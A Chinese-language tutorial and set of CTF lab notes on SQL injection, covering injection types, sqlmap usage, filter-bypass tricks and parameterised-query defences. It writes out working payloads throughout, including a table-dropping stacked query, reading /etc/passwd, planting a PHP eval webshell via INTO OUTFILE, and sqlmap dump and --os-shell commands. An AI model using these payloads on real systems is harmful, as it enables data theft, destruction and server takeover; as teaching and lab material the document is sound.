SQL注入

SQL Injection

SQL 注入(SQL Injection)是一种常见的 Web 安全漏洞,攻击者通过在输入字段中插入恶意 SQL 代码,欺骗后端数据库执行非预期的查询,从而获取、篡改或删除数据。


1. SQL注入原理

Web应用通常通过拼接字符串的方式构造SQL查询,例如:

python 复制代码
username = request.GET['username']
password = request.GET['password']
sql = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"

如果用户输入 admin' --,则SQL变为:

SQL 复制代码
SELECT * FROM users WHERE username='admin' -- ' AND password='anything'

最后执行:

sql 复制代码
SELECT * FROM users WHERE username='admin' -- 

-- 是SQL注释符,会忽略后续代码,从而绕过密码验证直接登录。

核心原因:未对用户输入进行充分过滤或转义,直接拼接到SQL语句中,改变了原语句的语义。

**前置知识:**之前学习了在SQL注入测试中,像 and 1=1and 1=2 这样的语句片段------

  • 如果加上 and 1=1 查询结果不变。
  • 如果加上 and 1=2 查询结果为空,说明我们成功影响了SQL查询。

这就是"注入判断"的基础: 通过人为拼接SQL条件,观测结果上的差异,从而确认是否可以注入

Tips:为什么数字型注入时,不需要使用注释?

  • 数字型参数后面本身没有引号,所以直接拼接 and ... 就可以继续SQL语句,不会引起语法错误。
  • 只有在字符串型注入时,破坏了引号配对,往往才需要注释符闭合(如-- 或 #),来防止后面多余的SQL语句报错。
  • 结论:数字型注入无需加注释,因为SQL拼接没有剩余引号或内容,无需担心语法问题。

小结:数字型注入直接拼接条件,无需闭合引号,是初学者最容易上手的注入方式之一。


2. SQL注入的危害

  • 绕过认证:如登录后台、越权访问。
  • 窃取数据:拖库获取敏感信息(用户表、信用卡等)。
  • 篡改数据:插入、更新、删除数据。
  • 执行文件操作:读写文件(需数据库权限)。
  • 命令执行 :通过xp_cmdshell(SQL Server)或udf(MySQL)执行系统命令。
  • 拒绝服务:消耗数据库资源。

3. 常见SQL注入类型及实战手法

3.1 联合查询注入(UNION-based)

利用UNION运算符合并两条SELECT语句,获取额外数据。

前提:原查询与联合查询的字段数相同,且页面能显示结果。

步骤

  1. 判断字段数order by 1, order by 2...直到出错,确定列数。
  2. 寻找显示位union select 1,2,3...,观察页面哪个位置显示数字。
  3. 爆数据库信息union select 1,database(),version()
  4. 爆表名union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
  5. 爆字段union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
  6. 爆数据union select 1,group_concat(username,':',password),3 from users

示例URLhttp://example.com/news.php?id=-1 union select 1,2,group_concat(username,0x3a,password) from users

3.2 报错注入(Error-based)

通过构造引发数据库报错的语句,从错误信息中提取数据。

常用函数(MySQL):

  • updatexml(1,concat(0x7e,(SELECT password FROM users LIMIT 1),0x7e),1)
  • extractvalue(1,concat(0x7e,(SELECT database()),0x7e))
  • floor(rand(0)*2) 配合 group by 产生主键重复错误。

示例http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

3.3 布尔盲注(Boolean-based blind)

页面不回显数据,但会根据SQL真假返回不同结果(如200与404)。通过构造条件判断,逐字符猜解数据。

常用函数:

  • length(database()) 判断长度
  • substr(database(),1,1)='a'ascii(substr(database(),1,1))>97

手工过程

  1. 判断数据库名长度:?id=1 and length(database())=8 页面正常 → 长度8。
  2. 猜第一个字符:?id=1 and ascii(substr(database(),1,1))>97 → 正常 → 继续二分法。
  3. 最终得到数据库名。

3.4 时间盲注(Time-based blind)

页面无任何差异,只能通过延时判断。使用sleep()benchmark()

时间盲注适用于页面不会返回错误信息,只会回显一种界面,主要是利用sleep、exp等函数,制造时间延迟来判断是否报错1' and if(1=1,sleep(3),1)#

示例?id=1 and if(ascii(substr(database(),1,1))>97, sleep(3), 0)

3.5 堆叠查询注入(Stacked queries)

某些数据库支持多条SQL语句执行(如PHP+MySQL使用mysqli_multi_query)。可以插入;后执行任意语句。

示例?id=1; drop table users; --

限制:并非所有环境都支持(如PDO默认不支持多语句)。

3.6 二阶注入(Second-order injection)

恶意数据先存入数据库,后续在另一功能中被拼接到SQL中触发。例如注册用户名admin'--,修改密码时后台拼接该用户名导致注入。


4. 实战应用场景

场景1:登录绕过

输入:admin' OR '1'='1 密码任意。

对应SQL:SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='xxx'

由于OR优先级问题,实际可能绕过(取决于数据库)。更常见使用注释:admin'--

场景2:获取数据库版本

复制代码
?id=1 union select 1,version(),3

场景3:获取所有数据库名

复制代码
?id=1 union select 1,group_concat(schema_name),3 from information_schema.schemata

场景4:文件读取(MySQL)

复制代码
?id=1 union select 1,load_file('/etc/passwd'),3

需要secure_file_priv不为NULL,且有文件读权限。

场景5:写入Webshell

复制代码
?id=1 union select 1,"<?php @eval($_POST[1]);?>",3 into outfile "/var/www/html/shell.php"

要求有写权限且知道绝对路径。


5. 自动化工具:sqlmap

常用命令

bash 复制代码
# 检测注入点
sqlmap -u "http://example.com/news.php?id=1"

# 获取数据库
sqlmap -u "http://example.com/news.php?id=1" --dbs

# 获取表
sqlmap -u "http://example.com/news.php?id=1" -D database_name --tables

# 获取字段
sqlmap -u "http://example.com/news.php?id=1" -D database_name -T users --columns

# 获取数据
sqlmap -u "http://example.com/news.php?id=1" -D database_name -T users --dump

# 指定注入技术(布尔、时间等)
sqlmap -u "http://example.com/news.php?id=1" --technique=BT


sqlmap -u "http://hbc2.haobachang.com:48431/check?id=1" \
       --level=5 --risk=2 \
       --flush-session --batch \
       --tamper=space2comment \
       --random-agent \
       -D sql_injection_lab -T flag --dump

常用参数

  • --cookie="PHPSESSID=xxx":携带认证信息
  • --data="username=admin&password=123":POST请求
  • -r request.txt:从Burp请求文件加载
  • --level 3 --risk 2:增加检测深度
  • --os-shell:尝试获取系统shell

6. 防御措施

6.1 根本防御:参数化查询(预编译)

使用预处理语句,将SQL结构与用户数据分离。

PHP PDO示例

php 复制代码
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

Python(MySQLdb)

python 复制代码
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))

6.2 输入验证与过滤

  • 对预期为整数的输入强制类型转换:intval($_GET['id'])
  • 使用白名单验证,如枚举值。
  • 转义特殊字符(但不如预编译安全),如mysqli_real_escape_string

6.3 最小权限原则

数据库连接账户只授予必要权限(如只读、不能写文件)。

6.4 错误处理

关闭详细错误回显,避免泄露数据库信息。

6.5 WAF(Web应用防火墙)

部署WAF拦截常见注入payload,但可被绕过,不能作为唯一防御。


7. 绕过技巧(CTF/渗透中常见)

  • 注释符--, #, /*...*/,-- -
  • 内联注释/*!50000union*/ select(用于绕过简单过滤)
  • 大小写混合UnIoN sElEcT
  • 双写绕过UNIunionON 过滤掉union后剩下UNION
  • 编码绕过:URL编码、双重URL编码、Unicode编码
  • 空格替代/**/, +, %0a, %0c
  • 函数替代substr()可换mid()left()
  • 宽字节注入 :针对GBK编码,在'前加%df使转义符失效。

8. 实战案例(以CTF题目为例)

  1. 题目:一个新闻页面,参数id,存在SQL注入,目标是获取flag

    正确的步骤

    1. 测试注入点

    复制代码
    ?id=1'        -- 页面报错 → 存在字符型注入,需要闭合单引号
    ?id=1' --+    -- 页面恢复正常 → 确认闭合方式是单引号

    2. 判断字段数

    复制代码
    ?id=1' order by 1 --+   -- 正常
    ?id=1' order by 2 --+   -- 正常
    ?id=1' order by 3 --+   -- 正常
    ?id=1' order by 4 --+   -- 报错 → 字段数为3

    3. 确定回显位置

    复制代码
    ?id=-1' union select 1,2,3 --+   -- 页面显示2和3

    4. 爆数据库名

    复制代码
    ?id=-1' union select 1,database(),3 --+   -- 得到数据库名 websec

    5. 爆表名

    复制代码
    ?id=-1' union select 1,group_concat(table_name),3 
    from information_schema.tables 
    where table_schema='websec' --+
    -- 得到 users,flag

    6. 爆字段名

    复制代码
    ?id=-1' union select 1,group_concat(column_name),3 
    from information_schema.columns 
    where table_name='flag' --+
    -- 得到 flag

    7. 拿flag

    复制代码
    ?id=-1' union select 1,flag,3 from flag --+
    -- 得到flag值

    完整的注入payload对比

    步骤 数字型注入 字符型注入
    测试 ?id=1' 报错 ?id=1' 报错
    闭合测试 ?id=1 and 1=1 ?id=1' and '1'='1' --+
    判断字段 ?id=1 order by 3 ?id=1' order by 3 --+
    联合查询 ?id=-1 union select 1,2,3 ?id=-1' union select 1,2,3 --+
    注释 不需要 --+#/*

    为什么需要 --+

    在URL中:

    • -- 是SQL注释
    • + 在URL中被解析为空格
    • 所以 --+ 实际上就是 --(注释后加空格)

    其他注释方式:

    • --+ (MySQL)
    • # (MySQL)
    • %23 (#的URL编码)
    • /* (多行注释)
  2. sql注入-POST类型注入-1

    所有输入无回显,使用报错注入

    ' and updatexml(1,concat(0x7e,database(),0x7e),1) -- 有报错:查询错误: (1105, "XPATH syntax error: '~sql_injection_lab~'"),得到数据库~sql_injection_lab~

    SHOW DATABASES 是一个管理命令(Statement),不是表达式(Expression)。

    在 MySQL/MariaDB 中,concat()updatexml() 等函数的括号内,只能接受值、列名、或返回标量值的 SELECT 子查询 。解析器在这里遇到了 SHOW 关键字,但期望的是字段名,于是直接报 1064 语法错误,updatexml 根本轮不到执行。

    正确的写法(两种方案)

    方案一:使用 information_schema 查询所有数据库(推荐)

    (show databases) 改写为标准的 SELECT 子查询

    sql 复制代码
    ' and updatexml(1,concat(0x7e,(SELECT group_concat(schema_name) FROM information_schema.schemata),0x7e),1) -- 
    方案二:分页爆出(解决 32 字符截断问题)

    如果数据库非常多,group_concat 拼接后超过 32 字符会被截断。强烈建议配合 LIMITsubstring 逐个爆出

    sql 复制代码
    -- 爆出第一个数据库名(逐段截取,每次取30位)
    ' and updatexml(1,concat(0x7e, substring((SELECT schema_name FROM information_schema.schemata LIMIT 0,1), 1, 30), 0x7e),1) -- 

    1, 30 改为 31, 3061, 30......即可获取完整名称。

    查当前库下的所有表名

    LIMIT 0,1 中的 0 改为 123... 可以遍历出所有表。

    sql 复制代码
    ' and updatexml(1,concat(0x7e, substring((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1), 1, 30), 0x7e),1) -- 

    ' and updatexml(1,concat(0x7e, substring((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1), 1, 30), 0x7e),1) -- 的回显是查询错误: (1105, "XPATH syntax error: '~flag~'")

    查某张表(找到的 flag 表)里的列名

    第一步查到了表名为 flag

    sql 复制代码
    ' and updatexml(1,concat(0x7e, substring((SELECT column_name FROM information_schema.columns WHERE table_name="flag" AND table_schema=database() LIMIT 1,1), 1, 30), 0x7e),1) -- 

    结果:查询错误: (1105, "XPATH syntax error: '~flag~'")

    查 flag 数据

    复制代码
    ' and updatexml(1,concat(0x7e, substring((SELECT flag FROM flag LIMIT 0,1), 1, 30), 0x7e),1) -- 

    重点:如何完整取出超过 32 位的 Flag?

    由于 updatexml 只返回前 32 字符,需要分段拼接 。上面语句报错返回了 ~flag{1234...(前半段),接着修改 substring 的起始位置:

    • 读第 1~30 位substring((SELECT flag FROM flag LIMIT 0,1), 1, 30)
    • 读第 31~60 位substring((SELECT flag FROM flag LIMIT 0,1), 31, 30)
    • 读第 61~90 位substring((SELECT flag FROM flag LIMIT 0,1), 61, 30)

    依此类推,直到报错内容不再返回数据(或返回空),就说明已经读完。

  3. 报错注入-sql注入-数字型

    确定是数字型,进行列验证:1 order by 6,报错,证明有五行

    复制代码
    #爆数据库
    1 union select 1,2,3,4,database()
    # 1	2	3	4	sql_injection_lab
    
    # 爆表名
    1 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()
    # 1	users,flag	3	4	5
    
    # 爆字段
    1 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name='flag'
    # 1	id,flag	3	4	5
    
    # 爆数据
    1 union select 1,group_concat(flag),3,4,5 from flag
    # 1	flag{73b26857435b4895ad29fff900c1e33e}	3	4	5
  4. sql注入-字符型-1

    输入1'报错(1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'')' at line 1")其中的''1'')'需要看成''1'')' 左右的'是报错输出的闭合,应忽略 1'是输入,输入的左边是'右边是') 所以使用')进行闭合

    复制代码
    1') order by 8 -- 
    # 查询错误: (1054, "Unknown column '8' in 'ORDER BY'")
    # 共7列
    1') union select 1,2,3,4,5,6,7 -- 
    # ID	姓名	邮箱	部门	薪资	电话	地址
    # 1	2	3	4	5	6	7
    1') union select group_concat(table_name),2,3,4,5,6,7 from information_schema.tables where table_schema=database() --  
    # users,flag	2	3	4	5	6	7
    1') union select group_concat(column_name),2,3,4,5,6,7 from information_schema.columns where table_name='flag' --  
    # id,flag
    1') union select group_concat(flag),2,3,4,5,6,7 from flag --  
    # flag{b84b5c13a16a4c508f9d0d0dcdd6540a}	2	3	4	5	6	7

    输入1"报错 (1064, 'You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near \'"1""\' at line 1') 左右的\'是报错输出的闭合,应忽略 1"是输入,输入的左边是",右边是" 所以使用"进行闭合

  5. sql注入-布尔盲注

    复制代码
    1 AND (SELECT LENGTH(DATABASE())) = {猜测数据库长度}
    1 AND (SELECT SUBSTRING(DATABASE(), 1, 1)) = '{猜测字符}'
    # 尝试构造语句查询数据库中是否存在flag表。
    1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='sql_injection_lab' AND table_name='flag') = 1
    # 开始查询flag是否存在
    1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='sql_injection_lab' AND table_name='flag' AND column_name='flag') = 1
    # 爆破flag的值
    1 AND LENGTH((SELECT flag FROM sql_injection_lab.flag)) = {猜测长度}
    # 开始爆破内容
    1 AND (SELECT SUBSTRING((SELECT flag FROM sql_injection_lab.flag LIMIT 0, 1), {位数}, 1)) ='{替换字符}'

一、实验详情

【实验名称】

联合查询注入

【实验提示】

拿到目标网站数据库权限,获取数据库数据,找到flag

【实验目的】

1、学习联合查询注入的原理

2、学习联合查询注入的方式方法

3、了解SQL注入的防御方式

【实验原理】

本实验主要介绍SQL注入之联合查询注入,SQL注入漏洞就是指Web应用程序对用户输入的数据没有细致地过滤,前端传入后端的参数是攻击者可控的,通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行指定的SQL语句。

【实验工具】

1、chrome-hackbar

二、前置知识

1、SQL注入漏洞发现和利用

2、联合查询注入的流程

三、实验步骤

1、首先访问靶机地址。

2、选择个人介绍,在这里发现存在SQL注入漏洞,此处有SQL语句提示。

3、打开hackbar,在hackbar中加单引号测试,发现这里产生数据库报错,证明此处与数据库有交互:

4、使用联合查询注入进行测试,获取数据库数据。

(1)判断注入点类型。

复制代码
1' and 1=1 -- -  true
1' and 1=2 -- -  false

以上payload传入目标网站后,完整拼接后的SQL语句如下:

复制代码
select * from users where id ='1' and 1=1 -- -  true
select * from users where id ='1' and 1=2 -- -  false

执行1' and 1=1 -- -,发现页面返回正常。

执行1' and 1=2 -- -,发现页面返回不正常,无回显。

说明当前页面存在字符型的SQL注入漏洞。

(2)查字段

复制代码
1' order by 2 -- -

以上payload传入目标网站后,完整拼接后的SQL语句如下:

复制代码
select * from users where id ='1' order by 2-- -

使用order by语句猜字段,查询到2列返回正常,查询第3列时提示不存在,如下:

(3)判断显示数据位置

复制代码
-1' union select 1,2 -- -

以上payload传入目标网站后,完整拼接后的SQL语句如下:

复制代码
select * from users where id ='-1' union select 1,2 -- -

发现第2列会显示数据。

(4)爆库

复制代码
-1' union select 1,database() -- -

以上payload传入目标网站后,完整拼接后的SQL语句如下:

复制代码
select * from users where id ='-1' union select 1,database() -- -

爆出数据库为:cloversec

(5)爆表

复制代码
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- -

以上payload传入目标网站后,完整拼接后的SQL语句如下:

复制代码
select * from users where id ='-1' union select 1,table_name from information_schema.tables where table_schema=database() -- -

爆出数据表为:f14g

(6)爆列

复制代码
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name="f14g" -- -

以上payload传入目标网站后,完整拼接后的SQL语句如下:

复制代码
select * from users where id ='-1' union select 1,group_concat(column_name) from information_schema.columns where table_name="f14g" -- -

爆出数据列为:f14g

(8)获取列数据

复制代码
-1' union select 1,f14g from f14g -- -

以上payload传入目标网站后,完整拼接后的SQL语句如下:

复制代码
select * from users where id ='-1' union select 1,f14g from f14g -- -

得到flag。

总结

学习总结

  • SQL注入的根本目的:目的是绕过网站身份验证,其本质是"让后端执行了本不该执行的SQL语句"。
  • 数字型和字符型的区别:数字型注入点直接拼接数值,不需要引号包裹;字符型注入点会拼接在引号之中,注入时需"闭合字符串"并用注释去除尾部内容。
  • 判断SQL注入的方法论 :通过构造不同的输入,辨别是否存在注入点。例如:字符型用' and 1=1 -- ,数字型用1 and 1=1

小知识

  • SQL注入通常从数据拼接方式角度,分为:
  • 数字型注入 :参数为纯数字,直接拼接进SQL,不加引号,注入时方法直接拼写payload。
  • 字符型注入 :参数会被单/双引号包裹,注入时需自己用' -- 闭合字符串并注释尾部内容。
相关推荐
云水一下1 小时前
零基础玩转bWAPP靶场(三十三):Broken Auth. - Forgotten Function
web安全·bwapp·function·broken auth·forgotten
云水一下1 天前
零基础玩转bWAPP靶场(三十):XML/XPath 注入(登录表单)
xml·web安全·bwapp
紫禁玄科1 天前
网络安全科普:DDoS与DoS攻击完全指南
网络·web安全·网络安全·系统安全
紫禁玄科1 天前
勒索软件攻击深度解析
web安全·网络安全·系统安全
云水一下1 天前
零基础玩转bWAPP靶场(三十一):XML/XPath 注入(搜索)
xml·web安全·bwapp
笨鸟先飞,勤能补拙2 天前
AI 赋能网络安全:技术全景、成熟度评估与实战案例
人工智能·python·安全·web安全·网络安全·sqlite·github
笨鸟先飞,勤能补拙2 天前
AI 赋能网络安全领域深度剖析
网络·人工智能·windows·安全·web安全·网络安全·github
HackTwoHub2 天前
轻量化AI渗透武器库|ARTEX自主攻防系统、资产梳理、漏洞挖掘、链路分析全流程智能化落地
人工智能·安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
为自己_带盐2 天前
安敢越雷池一步?浅尝雷池WAF社区版
运维·web安全